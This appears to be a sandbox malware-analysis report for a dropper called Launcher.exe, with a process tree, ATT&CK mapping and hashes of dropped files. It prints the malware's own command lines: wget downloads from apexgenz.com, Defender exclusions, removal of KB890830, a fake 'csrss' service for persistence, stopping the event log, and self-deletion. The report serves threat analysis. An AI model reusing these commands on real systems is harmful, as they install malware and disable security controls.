PID 3436 wrote to memory of 4388	3436	powershell.exe	Launcher.exe
PID 3436 wrote to memory of 4388	3436	powershell.exe	Launcher.exe
PID 3436 wrote to memory of 4388	3436	powershell.exe	Launcher.exe
PID 3436 wrote to memory of 4388	3436	powershell.exe	Launcher.exe
PID 4388 wrote to memory of 4664	4388	Launcher.exe	powershell.exe
PID 4388 wrote to memory of 4664	4388	Launcher.exe	powershell.exe
PID 4388 wrote to memory of 4664	4388	Launcher.exe	powershell.exe
PID 4388 wrote to memory of 2476	4388	Launcher.exe	wget.exe
PID 4388 wrote to memory of 2476	4388	Launcher.exe	wget.exe
PID 4388 wrote to memory of 2476	4388	Launcher.exe	wget.exe
PID 4388 wrote to memory of 836	4388	Launcher.exe	winrar.exe
PID 4388 wrote to memory of 836	4388	Launcher.exe	winrar.exe
PID 4388 wrote to memory of 836	4388	Launcher.exe	winrar.exe
PID 4388 wrote to memory of 4440	4388	Launcher.exe	plugin0222
PID 4388 wrote to memory of 4440	4388	Launcher.exe	plugin0222
PID 4388 wrote to memory of 4440	4388	Launcher.exe	plugin0222
PID 4388 wrote to memory of 4220	4388	Launcher.exe	wget.exe
PID 4388 wrote to memory of 4220	4388	Launcher.exe	wget.exe
PID 4388 wrote to memory of 4220	4388	Launcher.exe	wget.exe
PID 4440 wrote to memory of 1620	4440	plugin0222	plugin0222
PID 4440 wrote to memory of 1620	4440	plugin0222	plugin0222
PID 4440 wrote to memory of 1620	4440	plugin0222	plugin0222
PID 4440 wrote to memory of 1620	4440	plugin0222	plugin0222
PID 4440 wrote to memory of 1620	4440	plugin0222	plugin0222
PID 4440 wrote to memory of 1620	4440	plugin0222	plugin0222
PID 4440 wrote to memory of 1620	4440	plugin0222	plugin0222
PID 4440 wrote to memory of 1620	4440	plugin0222	plugin0222
PID 4440 wrote to memory of 1620	4440	plugin0222	plugin0222
PID 4440 wrote to memory of 1620	4440	plugin0222	plugin0222
PID 4388 wrote to memory of 1828	4388	Launcher.exe	winrar.exe
PID 4388 wrote to memory of 1828	4388	Launcher.exe	winrar.exe
PID 4388 wrote to memory of 1828	4388	Launcher.exe	winrar.exe
PID 4388 wrote to memory of 4036	4388	Launcher.exe	2plugin2901
PID 4388 wrote to memory of 4036	4388	Launcher.exe	2plugin2901
PID 4388 wrote to memory of 164	4388	Launcher.exe	wget.exe
PID 4388 wrote to memory of 164	4388	Launcher.exe	wget.exe
PID 4388 wrote to memory of 164	4388	Launcher.exe	wget.exe
PID 4544 wrote to memory of 196	4544	cmd.exe	wusa.exe
PID 4544 wrote to memory of 196	4544	cmd.exe	wusa.exe
PID 1536 wrote to memory of 3924	1536	cmd.exe	choice.exe
PID 1536 wrote to memory of 3924	1536	cmd.exe	choice.exe
PID 4352 wrote to memory of 2928	4352	csrss.exe	conhost.exe
PID 4352 wrote to memory of 2928	4352	csrss.exe	conhost.exe
PID 4352 wrote to memory of 2928	4352	csrss.exe	conhost.exe
PID 4352 wrote to memory of 2928	4352	csrss.exe	conhost.exe
PID 4352 wrote to memory of 2928	4352	csrss.exe	conhost.exe
PID 4352 wrote to memory of 2928	4352	csrss.exe	conhost.exe
PID 4352 wrote to memory of 2928	4352	csrss.exe	conhost.exe
PID 4352 wrote to memory of 2928	4352	csrss.exe	conhost.exe
PID 4352 wrote to memory of 2928	4352	csrss.exe	conhost.exe
PID 4352 wrote to memory of 196	4352	csrss.exe	conhost.exe
PID 4352 wrote to memory of 196	4352	csrss.exe	conhost.exe
PID 4352 wrote to memory of 196	4352	csrss.exe	conhost.exe
PID 4352 wrote to memory of 196	4352	csrss.exe	conhost.exe
PID 4352 wrote to memory of 196	4352	csrss.exe	conhost.exe

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
1⤵
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3064

C:\Users\Admin\AppData\Roaming\services\Launhcer.exe
"C:\Users\Admin\AppData\Roaming\services\Launhcer.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4780

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3436

C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe
"C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4388

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4664

C:\Users\Admin\AppData\Roaming\services\wget.exe
"C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/1/1 -P C:\Users\Admin\AppData\Roaming\services
5⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:2476

C:\Users\Admin\AppData\Roaming\services\winrar.exe
"C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\01plugins*.* "plugin*" C:\Users\Admin\AppData\Roaming\services
5⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:836

C:\Users\Admin\AppData\Roaming\services\plugin0222
C:\Users\Admin\AppData\Roaming\services\plugin0222
5⤵
- Suspicious use of SetThreadContext
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4440

C:\Users\Admin\AppData\Roaming\services\plugin0222
"C:\Users\Admin\AppData\Roaming\services\plugin0222"
6⤵
- Executes dropped EXE
PID:1620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1620 -s 580
7⤵
- Program crash
PID:1876

C:\Users\Admin\AppData\Roaming\services\wget.exe
"C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/2/1 -P C:\Users\Admin\AppData\Roaming\services
5⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:4220

C:\Users\Admin\AppData\Roaming\services\winrar.exe
"C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\02plugins*.* "2plugin*" C:\Users\Admin\AppData\Roaming\services
5⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:1828

C:\Users\Admin\AppData\Roaming\services\2plugin2901
C:\Users\Admin\AppData\Roaming\services\2plugin2901
5⤵
- Drops file in Drivers directory
- Checks BIOS information in registry
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4036

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1492

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
6⤵
- Suspicious use of WriteProcessMemory
PID:4544

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
7⤵
PID:196

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "csrss"
6⤵
- Launches sc.exe
PID:396

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "csrss" binpath= "C:\ProgramData\SystemFiles\csrss.exe" start= "auto"
6⤵
- Launches sc.exe
PID:2628

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
6⤵
- Launches sc.exe
PID:992

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "csrss"
6⤵
- Launches sc.exe
PID:2012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\services\2plugin2901"
6⤵
- Suspicious use of WriteProcessMemory
PID:1536

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 3
7⤵
PID:3924

C:\Users\Admin\AppData\Roaming\services\wget.exe
"C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/3/1 -P C:\Users\Admin\AppData\Roaming\services
5⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:164

C:\Users\Admin\AppData\Roaming\services\winrar.exe
"C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\03plugins*.* "3plugin*" C:\Users\Admin\AppData\Roaming\services
5⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:1280

C:\Users\Admin\AppData\Roaming\services\3plugin0222
C:\Users\Admin\AppData\Roaming\services\3plugin0222
5⤵
- Suspicious use of SetThreadContext
- Executes dropped EXE
PID:4632

C:\Users\Admin\AppData\Roaming\services\3plugin0222
"C:\Users\Admin\AppData\Roaming\services\3plugin0222"
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:164

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
5⤵
PID:4220

C:\ProgramData\SystemFiles\csrss.exe
C:\ProgramData\SystemFiles\csrss.exe
1⤵
- Drops file in Drivers directory
- Checks BIOS information in registry
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4352

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3736

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:1516

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:3052

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:2928

C:\Windows\system32\conhost.exe
conhost.exe
2⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:196

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Service Stop

T1489

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3plugin0222.log
Filesize
520B

MD5
807cb75397a3a9fc38e9fb5f8566eb2d

SHA1
367e151fab5a5a80e60202d287ae522ea53e2563

SHA256
3e5056b73303b361e6b7b52f5edb2ed1a7e9dc2c762bb91d18046f42bc2ffcf3

SHA512
49efef0401ba0e0dc0b30bdff5d414da5494e4194c6269da2cb40b1ab7dc53e7858d29d2b9982bf3ee60ebc9638b5ed2b5ddcbb536bcc57729e79fc81f59f13d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
45KB

MD5
c2d06c11dd1f1a8b1dedc1a311ca8cdc

SHA1
75c07243f9cb80a9c7aed2865f9c5192cc920e7e

SHA256
91ac15f1f176f74f02ce89ecdc443d8e33e0064c7bc69a87c7b2da145449d586

SHA512
db00860292c3e7430b1534f459c2f0f9778df3a94c51d622dcf1cde390a5539bdc6d60a0d41e6f1ed99a989f17ecb109abd4c17faac4cd398945536f1d0ebb4d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
1382baf175d45c3403f7876af44f4e5d

SHA1
22ac418cfb7969eb2594103b7b9453ba47d5442f

SHA256
dbd14887459c04a3cfc9794da8ab8e6ccbf6a9ed0762055b15d8e55883308374

SHA512
63c7aa001a6b005f6eb04c8484dc7586bf8f7e975ae9c7e9a460c220ae1ffefbb14531067f61e5a5a51f20d4b967c399782c28d70538a12d7aa7ac72fa444b24

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f5rnaqad.kvf.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\WinRAR\version.dat
Filesize
12B

MD5
5a7358d53674902c204c6fb1e21c78e4

SHA1
1a19c63d8e832037e6b8a2ac956f5541c4efd500

SHA256
1eaefc76658bbbfd2b00154813221e361d1fc615ce5636061d2e9a9d97c5cddb

SHA512
f5d16f554634239f4149cbd514cf13dc51080e6fb80f94d07a13afd3dfa00d03cd5bde72493be120451f004aececb350ac0bcf70ae762c404da3773a42f0a3dd

Download Submit
C:\Users\Admin\AppData\Roaming\services\.wget-hsts
Filesize
184B

MD5
2e7e79b18cce7c94164385b314d90f53

SHA1
a7833fce28106e00572c125bc6ea992b8d150a34

SHA256
2e6f936a73f307d230802c14a6aafa06c8e53dcec51ae032acc50cb58e245570

SHA512
dfa49cfb4d64dfc5d20d153c15c696415eccf5da08a4df48f11eeb10bfc29dd3157875c5eca7e6e620113a9191344907828f9c56d8f6018686064ff8b2935c09

Download Submit
C:\Users\Admin\AppData\Roaming\services\01plugins0222.rar
Filesize
3.0MB

MD5
192ea396deb46406bed716cde8b0fda6

SHA1
b48459b0e4f8d712150c2db39764d3658678f8ac

SHA256
c56f6db940d4802fce1621bd03c3563869acc5ccf2f8fc7ef6a4cc5d17e0c04d

SHA512
359fb7a51a6524e5fab57de6b799082e3c9d0582cf0a01a5535d11c02c09803a59da47c5a1d65d6306631fa31e4eb8a03479aec5c877d7e4157f3c60ebeda6e1

Download Submit
C:\Users\Admin\AppData\Roaming\services\02plugins2901.rar
Filesize
8.4MB

MD5
82a56a666981e9e163a1aba74dc70aa8

SHA1
709e44e71ff38d0771d839b74f270c23daa42f64

SHA256
c59448b470702a689cb0525b76d28d68b2436c4f23cac4ee18a32a7a99801eb6

SHA512
ed02644d9621256b2c0bd43eac5d46f1be3ccf741b3701ff624e0f0913bd6829d818d3006619f90fded694c01940e4fca7b1eac92cd647b87212efd4532ccbe0

Download Submit
C:\Users\Admin\AppData\Roaming\services\03plugins0222.rar
Filesize
256KB

MD5
4a3baa2e2630e287a5c0e804c0564ca0

SHA1
c00ae566d6c2dc3f6e20566955d210a16807e028

SHA256
c039a58e89ffc961c978c61cd8746b95c481251381b62acaec252f26e184e919

SHA512
606e9507f80241b932c4f3d4c8fc0207d3e36557d5b1e2837436dc9d6f5b58e7204b18935a091b8a5eff0ea75ef47d14f045cad2a120e43c07de35019849cd16

Download Submit
C:\Users\Admin\AppData\Roaming\services\2plugin2901
Filesize
8.6MB

MD5
d4121fa27ad9f3c93d00312846a7a2cc

SHA1
ce84a218b13b9084b4d30f18fcea720e078c4c9c

SHA256
ffba3263bcdd2a3b008113b62dd9853d80d279350e548f50485b75925c9d5079

SHA512
65461ca95eae4d51ee691e5a444e14f2cc18e44089c5137bf9060111c111eaeb31f74ca2b155c41d2e0f1fa3d8d4c8288a68fa47dab4fee9e80a627bd20e2ac8

Download Submit
C:\Users\Admin\AppData\Roaming\services\2plugin2901
Filesize
9.6MB

MD5
5a5a545484abcfd739e596c1ff8753d5

SHA1
42543fdc4b7620ba21ba5d27fd4ab45a549eb503

SHA256
872b4526efdb11051475cfde82c187adfa80a2496ed9835550c1421a039a203e

SHA512
7a1516dab7c58455fe687cec52c522aa111d0b454d8c7c390417e134a2e1631a9bd68c71f82c92423dce598244c71c67e7576121e7ea4c931421a3458f798374

Download Submit
C:\Users\Admin\AppData\Roaming\services\3plugin0222
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Users\Admin\AppData\Roaming\services\3plugin0222
Filesize
15.0MB

MD5
028aef2aedb49bb9148e23b3b7b03d37

SHA1
94efee9913eed144e9c1c9727cf82543f65c0ed9

SHA256
bd3ad16cfba1acfcca16be462fe11c0ad79dda99dac169c160d07cc47b3533c2

SHA512
a02ebba3a92fcd7869b87e71f3d5e6238fc738eada46f67e8320d7fad7119f676158b67f18bd3272eb1caedbf521f260bd59b9f5517fb257b50d1168d708ba57

Download Submit
C:\Users\Admin\AppData\Roaming\services\3plugin0222
Filesize
16.6MB

MD5
ed890fea49ea376d0464e8f04ee58811

SHA1
f3134c8c4b2549e38362d1372f6f6b5a2372aee0

SHA256
1e328ea5223b16dec5b109c8b412e71d891e12d0de423b72f6b473d858c0b362

SHA512
1b5b83412f8ea62e502129abb3664608fd4688286ff8fc5d7b0eab4cee0c5457793ddd5eebf29978cce20bac86e79351df6480336b6913bdc02a4ebc30e48dc4

Download Submit
C:\Users\Admin\AppData\Roaming\services\Launhcer.dll
Filesize
2KB

MD5
7de0541eb96ba31067b4c58d9399693b

SHA1
a105216391bd53fa0c8f6aa23953030d0c0f9244

SHA256
934f75c8443d6379abdc380477a87ef6531d0429de8d8f31cd6b62f55a978f6e

SHA512
e5ffa3bfd19b4d69c8b4db0aabaf835810b8b8cccd7bc400c7ba90ef5f5ebd745c2619c9a3e83aa6b628d9cf765510c471a2ff8cb6aa5ad4cf3f7826f6ae84a3

Download Submit
C:\Users\Admin\AppData\Roaming\services\Launhcer.exe
Filesize
364KB

MD5
e5c00b0bc45281666afd14eef04252b2

SHA1
3b6eecf8250e88169976a5f866d15c60ee66b758

SHA256
542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903

SHA512
2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387

Download Submit
C:\Users\Admin\AppData\Roaming\services\Launhcer.exe.manifest
Filesize
1KB

MD5
f0fc065f7fd974b42093594a58a4baef

SHA1
dbf28dd15d4aa338014c9e508a880e893c548d00

SHA256
d6e1c130f3c31258b4f6ff2e5d67bb838b65281af397a11d7eb35a7313993693

SHA512
8bd26de4f9b8e7b6fe9c42f44b548121d033f27272f1da4c340f81aa5642adc17bb9b092ece12bb8515460b9c432bf3b3b7b70f87d4beb6c491d3d0dfb5b71fe

Download Submit
C:\Users\Admin\AppData\Roaming\services\WGET-H~1
Filesize
184B

MD5
990d670f7d0d9addc18642f106831b36

SHA1
b3b3f72b362c153a8fa060b6e26c0972682e3582

SHA256
dbd84f95c50bcad3bdd257368e723deee49c428a4434c1a6ffb2852f12611253

SHA512
25bde6d8817126077b27b11042b42424d23ca9168e127812c31f2f7aeda93e9e47c971fd0d4b9e36cbee405f3e4085ae14e362deae76148fe69d9c5bb0f7206a

Download Submit
C:\Users\Admin\AppData\Roaming\services\WinRAR.exe
Filesize
1.4MB

MD5
ed8f7b42b7277a00a8f6eb192dc0bd77

SHA1
34ff362e6b95852d84580a3430f84da939671c59

SHA256
4af7ef4064e4543d12f19d0edc2a7966e3f91412dff582333ecc0d8e599e9a30

SHA512
15e66093b010741788c24c4a14c824a5ef92a3de9618e7c9eae002ce90cc6c89ff35228e4b202cb2f538b8fc57688e40eaee07395608f32a291753fc09396c2f

Download Submit
C:\Users\Admin\AppData\Roaming\services\data\Launcher.dll
Filesize
6KB

MD5
f58866e5a48d89c883f3932c279004db

SHA1
e72182e9ee4738577b01359f5acbfbbe8daa2b7f

SHA256
d6f3e13dfff0a116190504efbfcbcd68f5d2183e6f89fd4c860360fba0ec8c12

SHA512
7e76555e62281d355c2346177f60bfe2dc433145037a34cfc2f5848509401768b4db3a9fd2f6e1a1d69c5341db6a0b956abf4d975f28ee4262f1443b192fe177

Download Submit
C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe
Filesize
364KB

MD5
fea10d11d84919cb9a0a0752d61c0a66

SHA1
aea3c65e2b62851b2dd112597f28379b49c58a0a

SHA256
2786febdd57874118eaf5e257382cf4467d43f9ca189ac48ff6d45494f1cbab7

SHA512
e382f79ec1f1c370cd0053cccc7a0db8f3dc28b22f9dacd5f425c60adfb21e4a6eed3e119a7f9bbf135839e22d46511ca793cf8b5118d0e6256ebbbe749fc508

Download Submit
C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe.manifest
Filesize
1KB

MD5
1b6de83d3f1ccabf195a98a2972c366a

SHA1
09f03658306c4078b75fa648d763df9cddd62f23

SHA256
e20486518d09caf6778ed0d60aab51bb3c8b1a498fd4ede3c238ee1823676724

SHA512
e171a7f2431cfe0d3dfbd73e6ea0fc9bd3e5efefc1fbdeff517f74b9d78679913c4a60c57dde75e4a605c288bc2b87b9bb54b0532e67758dfb4a2ac8aea440ce

Download Submit
C:\Users\Admin\AppData\Roaming\services\plugin0222
Filesize
5.0MB

MD5
17d804b82a9cae6218607478d6213aae

SHA1
f5ff7adb303f6dfe07a86f0dc58ae3d2dd3c3b6f

SHA256
506c268dd0361e0bec3f2da64ba330cb56ea566fa3a1a6360519b9844ec6cddd

SHA512
ce0983032550ea02b685b132ccc29d2263fbdd189a36bbd89bd9af44fdc5ce1c2446b4ea6af67ceb474880386b1a3ada33aea9ac157a029e15b55e49e39067a8

Download Submit
C:\Users\Admin\AppData\Roaming\services\wget.exe
Filesize
4.9MB

MD5
8c04808e4ba12cb793cf661fbbf6c2a0

SHA1
bdfdb50c5f251628c332042f85e8dd8cf5f650e3

SHA256
a7b656fb7a45f8980784b90b40f4a14d035b9dc15616465a341043736ec53272

SHA512
9619f96c3180ef3d738ecc1f5df7508c3ff8904021065665c8388a484648e135105e1c1585de1577c8b158f9b5bc241e3ff7f92665e9553e846e1b750ddea20f

Download Submit
C:\Users\Admin\AppData\Roaming\services\winrar.exe
Filesize
2.1MB

MD5
f59f4f7bea12dd7c8d44f0a717c21c8e

SHA1
17629ccb3bd555b72a4432876145707613100b3e

SHA256
f150b01c1cbc540c880dc00d812bcca1a8abe1166233227d621408f3e75b57d4

SHA512
44811f9a5f2917ccd56a7f894157fa305b749ca04903eeaeca493864742e459e0ce640c01c804c266283ce8c3e147c8e6b6cfd6c5cb717e2a374e92c32a63b2c

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
1KB

MD5
7575c74a6cb2582fe872ec4e5c34d9ae

SHA1
8616d5c5687df7133cb3320d131ab82a25197ca7

SHA256
5cfc757280526df2130740c4fc1722623bb6a51866af1b4f4fba8acaf2b23064

SHA512
8afc0d7c08397a0efc03b313fd9a4986f29c3415ccd640e582fa60a0d3696539243e8d3859cd1b06aea632646b5eb31ffff5cc73ca3df1ac178f44397607b860

Download Submit
memory/164-738-0x00000000725E0000-0x0000000072CCE000-memory.dmp

Filesize
6.9MB

Download
memory/164-733-0x0000000000400000-0x0000000000450000-memory.dmp

Filesize
320KB

Download
memory/164-739-0x0000000005240000-0x00000000052D2000-memory.dmp

Filesize
584KB

Download
memory/164-646-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/196-697-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-689-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-710-0x00007FFEF2D70000-0x00007FFEF2F4B000-memory.dmp

Filesize
1.9MB

Download
memory/196-704-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-703-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-702-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-712-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-701-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-711-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-713-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-700-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-715-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-699-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-698-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-670-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-696-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-669-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-695-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-671-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-672-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-676-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-694-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-716-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-717-0x000001D3297E0000-0x000001D329800000-memory.dmp

Filesize
128KB

Download
memory/196-719-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-720-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-693-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-718-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-679-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-680-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-756-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-753-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-721-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-682-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-722-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-752-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-683-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-724-0x000001D3ABA20000-0x000001D3ABA40000-memory.dmp

Filesize
128KB

Download
memory/196-686-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-684-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-692-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-691-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-690-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-709-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-688-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/196-687-0x0000000140000000-0x0000000140AB6000-memory.dmp

Filesize
10.7MB

Download
memory/1492-349-0x000001F7C5E30000-0x000001F7C5E40000-memory.dmp

Filesize
64KB

Download
memory/1492-493-0x00007FFEE58E0000-0x00007FFEE62CC000-memory.dmp

Filesize
9.9MB

Download
memory/1492-459-0x000001F7C5E30000-0x000001F7C5E40000-memory.dmp

Filesize
64KB

Download
memory/1492-401-0x00007FF7D73F0000-0x00007FF7D7400000-memory.dmp

Filesize
64KB

Download
memory/1492-400-0x000001F7C5E20000-0x000001F7C5E2A000-memory.dmp

Filesize
40KB

Download
memory/1492-354-0x000001F7C5FC0000-0x000001F7C6036000-memory.dmp

Filesize
472KB

Download
